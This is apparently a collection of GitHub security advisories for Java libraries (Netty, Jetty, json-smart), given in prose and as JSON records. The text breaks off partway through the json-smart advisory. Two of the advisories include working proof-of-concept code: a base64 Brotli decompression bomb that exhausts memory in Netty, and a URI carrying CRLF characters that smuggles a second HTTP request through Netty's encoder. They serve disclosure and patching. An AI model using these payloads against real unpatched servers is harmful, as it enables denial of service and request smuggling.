With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
    at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
    at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
    at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
    at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
    at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
    at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
    at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
    at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
    at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
    at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
    at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
    at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
    at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
    at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
    at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
    at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
    at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
    at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
    at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
    at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
    at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

GHSA-J26W-F9RQ-MR2Q

Vulnerability from github – Published: 2024-10-14 15:30 – Updated: 2025-11-03 21:31

Summary

Eclipse Jetty has a denial of service vulnerability on DosFilter

Details

Description There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally.

Vulnerability details The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition.

Impact Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout.

Patches The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured.

Patched releases:

9.4.54
10.0.18
11.0.18
12.0.3

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.ee10:jetty-ee10-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.ee8:jetty-ee8-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.ee9:jetty-ee9-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.4.54"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-servlets"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-9823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-14T21:14:31Z",
    "nvd_published_at": "2024-10-14T15:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Description\nThere exists a security vulnerability in Jetty\u0027s DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server\u0027s memory finally.\n\n\nVulnerability details\nThe Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server.  The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds.  The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition.\n\n\nImpact\nUsers of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout.\n\n\nPatches\nThe DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured.\n\n\nPatched releases:\n\n  *  9.4.54\n  *  10.0.18\n  *  11.0.18\n  *  12.0.3",
  "id": "GHSA-j26w-f9rq-mr2q",
  "modified": "2025-11-03T21:31:16Z",
  "published": "2024-10-14T15:30:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-7hcf-ppf8-5w5h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/issues/1256"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/39"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/04/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250306-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Jetty has a denial of service vulnerability on DosFilter"
}

GHSA-84H7-RJJ3-6JX4

Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30

Summary

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Details

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.8.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.129.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-15T23:28:49Z",
    "nvd_published_at": "2025-12-16T01:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n  EmbeddedChannel client = new EmbeddedChannel();\n  client.pipeline().addLast(new HttpClientCodec());\n\n  EmbeddedChannel server = new EmbeddedChannel();\n  server.pipeline().addLast(new HttpServerCodec());\n  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n    @Override\n    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n      System.out.println(\"Processing msg \" + msg);\n    }\n  });\n\n  DefaultHttpRequest request = new DefaultHttpRequest(\n    HttpVersion.HTTP_1_1,\n    HttpMethod.GET,\n    \"/s1 HTTP/1.1\\r\\n\" +\n      \"\\r\\n\" +\n      \"POST /s2 HTTP/1.1\\r\\n\" +\n      \"content-length: 11\\r\\n\\r\\n\" +\n      \"Hello World\" +\n      \"GET /s1\"\n  );\n  client.writeAndFlush(request);\n  ByteBuf tmp;\n  while ((tmp = client.readOutbound()) != null) {\n    server.writeInbound(tmp);\n  }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
  "id": "GHSA-84h7-rjj3-6jx4",
  "modified": "2025-12-20T02:30:14Z",
  "published": "2025-12-15T23:28:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}

GHSA-493P-PFQ6-5258

Vulnerability from github – Published: 2023-03-23 20:32 – Updated: 2025-02-13 18:41

Summary

json-smart Uncontrolled Recursion vulnerability

Details

Impact

Affected versions of net.minidev:json-smart are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.

When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.

Patches

This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.

Workarounds

N/A

References

https://www.cve.org/CVERecord?id=CVE-2023-1370
https://nvd.nist.gov/vuln/detail/CVE-2023-1370
https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "net.minidev:json-smart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-23T20:32:03Z",
    "nvd_published_at": "2023-03-22T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAffected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.\n\nWhen reaching a \u2018[\u2018 or \u2018{\u2018 character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.\n\n### Patches\nThis vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.\n\n### Workarounds\nN/A\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-1370\n- https://nvd.nist.gov/vuln/detail/CVE-2023-1370\n- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748",
  "id": "GHSA-493p-pfq6-5258",
  "modified": "2025-02-13T18:41:52Z",
  "published": "2023-03-23T20:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge/security/advisories/GHSA-493p-pfq6-5258"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1370"
    },
    {
      "type": "WEB",
